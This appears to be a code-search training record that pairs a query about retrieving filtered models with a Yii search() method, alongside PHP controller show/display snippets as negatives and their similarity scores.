strlen($body);\n\t$tmpBody = strip_tags($content_data->getDescription());\n\t$body_truncation_limit = Engine_Api::_()->getApi('settings', 'core')->getSetting('ad.char.body', 135);\n\tif ($body_lenght > $body_truncation_limit) {\n\t $body_truncation_limit = $body_truncation_limit - 2;\n\t $body = Engine_String::strlen($tmpBody) > $body_truncation_limit ? Engine_String::substr($tmpBody, 0, $body_truncation_limit) : $tmpBody;\n\t $body = $body . '..';\n\t}\n\n\n\n\n\t$preview_title = $title . '<div class=\"cmaddis_adinfo\"><a href=\"javascript:void(0);\">' . $sub_title . '</a></div>';\n \t//$preview_title = $title . '<div class=\"cmaddis_adinfo cmad_show_tooltip_wrapper\" style=\"clear:none;\"><a href=\"javascript:void(0);\">' . $sub_title . '</a><div class=\"cmad_show_tooltip\"> <img src=\"./application/modules/Communityad/externals/images/tooltip_arrow.png\" />Viewers will be able to like this ad and its content. They will also be able to see how many people like this ad, and which friends like this ad.</div></div>';\n\n\t$remaning_body_limit = $body_truncation_limit - strlen($body);\n\tif ($remaning_body_limit < 0) {\n\t $remaning_body_limit = 0;\n\t}\n\t$remaning_title_limit = $title_truncation_limit - strlen($title);\n\tif ($remaning_title_limit < 0) {\n\t $remaning_title_limit = 0;\n\t}\n\n\t// Set the default image if no image selected.\n\tif (empty($content_photo)) {\n\t if (empty($is_spocerdStory)) {\n\t\t$path = $this->view->layout()->staticBaseUrl . '/application/modules/Communityad/externals/images/blankImage.png';\n\t\t$content_photo = '<img src=\"' . $path . '\" alt=\" \" />';\n\t } else {\n\t $content_photo = $this->view->itemPhoto($content_data, 'thumb.profile');\n\t if( in_array('music', array('music')) && in_array('blog', array('blog')) ) {\n\t $content_photo = $this->view->itemPhoto($content_data, 'thumb.icon');\n\t }\n\t }\n\t}\n\t$viewerTruncatedTitle = Engine_Api::_()->communityad()->truncation($this->_viewer->getTitle(), $titleTruncationLimit);\n\t\n\tif ($is_spocerdStory == 1) {\n\t $storyTrunLimit = Engine_Api::_()->getApi('settings', 'core')->getSetting('story.char.title', 35);\n\t $getStoryContentTitle = Engine_Api::_()->communityad()->truncation($getStoryContentTitle, $storyTrunLimit);\n\t $getTooltipTitle = $this->view->translate(\"_sponsored_viewer_title_tooltip\");\n\t $getContentTooltipTitle = $this->view->translate(\"_sponsored_content_title_tooltip\");\n\t $viewerTruncatedTitle = '<span class=\"cmad_show_tooltip_wrapper\"><b><a href=\"javascript:void(0);\">' . $viewerTruncatedTitle . '</a></b><div class=\"cmad_show_tooltip\"><img src=\"./application/modules/Communityad/externals/images/tooltip_arrow.png\" style=\"width:13px;height:9px;\" />'.$getTooltipTitle.'</div></span>';\n\t $main_div_title = $this->view->translate('%s likes <a href=\"javascript:void(0);\">%s.</a>', $viewerTruncatedTitle, $getStoryContentTitle);\n\t $footer_comment = '';\n\n$content_photo = '<a href=\"javascript:void(0);\">' . $content_photo . '</a><div class=\"cmad_show_tooltip\">\n\t\t\t\t\t\t\t<img src=\"./application/modules/Communityad/externals/images/tooltip_arrow.png\" />\n\t\t\t\t\t\t\t'. $this->view->translate(\"_sponsored_content_photo_tooltip\") .'\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>';\n\t}else {\n\t $title = Engine_Api::_()->communityad()->truncation($title, $titleTruncationLimit);\n\t}\n\n\tif (empty($is_spocerdStory)) {\n\t $this->view->id = $content_data->getIdentity();\n\t $this->view->title = $title;\n\t $this->view->resource_type = $resource_type;\n\t $this->view->des = $body;\n\t $this->view->page_url = $content_data->getHref();\n\t $this->view->photo = $content_photo;\n\t $this->view->preview_title = $preview_title;\n\t $this->view->remaning_body_text = $remaning_body_limit;\n\t $this->view->remaning_title_text = $remaning_title_limit;\n\t $this->view->photo_id_filepath = $photo_id_filepath;\n\t} else {\n\t $this->view->main_div_title = $main_div_title;\n\t $this->view->photo = $content_photo;\n\t $this->view->temp_pre_title = $getStoryContentTitle; \n\t $getStoryContentTitle = str_replace(' ', '&nbsp;', $getStoryContentTitle);\n\t $this->view->preview_title = $getStoryContentTitle; \n\t $this->view->footer_comment = $footer_comment;\n\t $this->view->remaning_title_text = $remaning_title_limit;\n\t $this->view->modTitle = $field_info['module_title'];\n\t}\n }", "public function show();", "public function show();", "public function show();", "public function show();", "public function show()\n {\n //\n }", "function display (&$source, &$request, &$context) {\n\t}", "public function show(retiro $retiro)\n {\n //\n }", "public function show()\n {\n header('Content-Type: image/' . $this->config->mimeType);\n echo $this;\n }", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "function image_display_gd($resource)\n\t{\n\t\theader(\"Content-Disposition: filename={$this->file_name};\");\n\t\theader(\"Content-Type: {$this->mime_type}\");\n\t\theader('Content-Transfer-Encoding: binary');\n\t\theader('Last-Modified: '.gmdate('D, d M Y H:i:s', $this->EE->localize->now).' GMT'); \n\t\n\t\tswitch ($this->image_type)\n\t\t{\n\t\t\tcase 1 \t\t:\timagegif($resource);\n\t\t\t\tbreak;\n\t\t\tcase 2\t\t:\timagejpeg($resource, '', $this->quality);\n\t\t\t\tbreak;\n\t\t\tcase 3\t\t:\timagepng($resource);\n\t\t\t\tbreak;\n\t\t\tdefault\t\t:\techo 'Unable to display the image';\n\t\t\t\tbreak;\t\t\n\t\t}\t\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "protected function _display($template)\n {\n echo $this->_fetch($template);\n }", "public function show($id)\n\t{ \n\t\t//\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function display() {\n echo $this->render();\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function show($id)\n\t{\n\t\t\n\t}", "public function show($id)\n\t{\n\t\t\n\t}", "public function show($id)\n\t{\n\t\t\n\t}", "public function show($id)\n {\n //\n\t\techo 'show';\n }", "public function show()\n {\n \n }", "public function show()\n {\n \n }", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show() {\n \n }" ]
[ "0.80919385", "0.8057063", "0.69767725", "0.66477203", "0.6582711", "0.6576947", "0.6554773", "0.65033346", "0.6436811", "0.6331079", "0.6295984", "0.6266727", "0.62626827", "0.6230831", "0.62300277", "0.62278295", "0.62278295", "0.62278295", "0.6201471", "0.6199611", "0.61806", "0.61388546", "0.61184424", "0.6098483", "0.60914785", "0.60861313", "0.60847294", "0.60847294", "0.6080098", "0.6077918", "0.60742325", "0.6068107", "0.6053975", "0.6039508", "0.602772", "0.6012783", "0.60010654", "0.59981865", "0.59805655", "0.5980118", "0.5978095", "0.5978095", "0.597725", "0.597725", "0.5968074", "0.59647274", "0.59427834", "0.5933208", "0.5932584", "0.59256315", "0.59251684", "0.59221154", "0.5912758", "0.59063756", "0.5902912", "0.5897999", "0.5897608", "0.5879047", "0.5866748", "0.5866748", "0.5866748", "0.5866748", "0.5851358", "0.5850988", "0.58491886", "0.5839045", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.5834783", "0.58280855", "0.58280855", "0.5825692", "0.5825692", "0.582428", "0.58209765", "0.5815776", "0.58071756", "0.58054423", "0.5804092", "0.5803582", "0.58034927", "0.58018637", "0.5800748", "0.5795871", "0.5795871", "0.5795871", "0.5795481", "0.5793012", "0.5793012", "0.5790537", "0.578923", "0.5788535", "0.5779248", "0.57673055" ]
0.0
-1
Display the specified resource.
public function getCategoryWiseSpecification($categoryId) { $categoryWiseSpecifications = CategoryWiseSpecification::where('category_id', $categoryId)->get(); // Return single Categorys as a resource return CategoryWiseSpecificationResouerce::collection($categoryWiseSpecifications); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Retrieves a list of models based on the current search/filter conditions.
public function search() { $criteria=new CDbCriteria; $criteria->compare('t.id',$this->id,true); $criteria->compare('t.user_id',$this->user_id,true); $criteria->compare('t.type',$this->type); $criteria->compare('t.obj_id',$this->obj_id,true); $criteria->compare('t.time_send',$this->time_send,true); $criteria->compare('t.created_date',$this->created_date,true); $criteria->compare('t.username',$this->username,true); $criteria->compare('t.title',$this->title,true); $criteria->compare('t.json_var',$this->json_var,true); $criteria->compare('t.count_run',$this->count_run,true); return new CActiveDataProvider($this, array( 'criteria'=>$criteria, 'pagination'=>array( 'pageSize'=> Yii::app()->user->getState('pageSize',Yii::app()->params['defaultPageSize']), ), )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getModels();", "public function getModels();", "public function findAll($model);", "public function getListSearch()\n {\n //set warehouse and client id\n $warehouse_id = ( !is_numeric(request()->get('warehouse_id')) ) ? auth()->user()->current_warehouse_id : request()->get('warehouse_id');\n $client_id = ( !is_numeric(request()->get('client_id')) ) ? auth()->user()->current_client_id : request()->get('client_id');\n\n //instantiate model and run search\n $product_model = new Product();\n return $product_model->getListSearch(request()->get('search_term'), $warehouse_id, $client_id);\n }", "public function getModels()\n\t{\n\t\t$scope = $this->scopeName;\n\t\treturn CActiveRecord::model($this->baseModel)->$scope()->findAll();\n\t}", "protected function findModel()\n {\n $class = $this->model;\n $query = $class::query();\n\n foreach ($this->input as $key => $value) {\n $where = is_array($value) ? 'whereIn' : 'where';\n $query->$where($key, $value);\n }\n\n return $query->get();\n }", "public function modelScans()\n {\n if ($this->scanEverything) {\n return $this->getAllClasses();\n }\n\n return $this->scanModels;\n }", "public function listModels() {\n\n $config = $this->initConfig($version = AnalyzeModel::VERSION);\n\n $config->setQuery( [ 'version' => $version ] );\n\n $config->setMethod(HttpClientConfiguration::METHOD_GET);\n $config->setType(HttpClientConfiguration::DATA_TYPE_JSON);\n $config->setURL(self::BASE_URL.\"/models\");\n\n return $this->sendRequest($config);\n }", "public function getModelsForIndex()\n {\n $models = [];\n $all_models = $this->getAllModels();\n\n foreach ($all_models as $model) {\n //parse model\n $pieces = explode('.', $model);\n if (count($pieces) != 2) {\n throw new Exception('Parse error in AppModelList');\n }\n //check form match\n $app_model = $pieces[1];\n $link = $this->convertModelToLink($app_model);\n\n // add to actions\n $models[$app_model]['GET'] = [\n [\n 'action' => 'index',\n 'description' => 'List & filter all ' . $app_model . ' resources.',\n 'route' => '/' . env('EASY_API_BASE_URL', 'easy-api') . '/' . $link\n ],\n [\n 'action' => 'show',\n 'description' => 'Show the ' . $app_model . ' that has the matching {id} from the route.',\n 'route' => '/' . env('EASY_API_BASE_URL', 'easy-api') . '/' . $link . '/{id}'\n ]\n ];\n }\n return $models;\n }", "public function getModels()\n {\n $this->prepare();\n\n return $this->_models;\n }", "public function getModels()\n {\n $this->prepare();\n\n return $this->_models;\n }", "public function searchableBy()\n {\n return [];\n }", 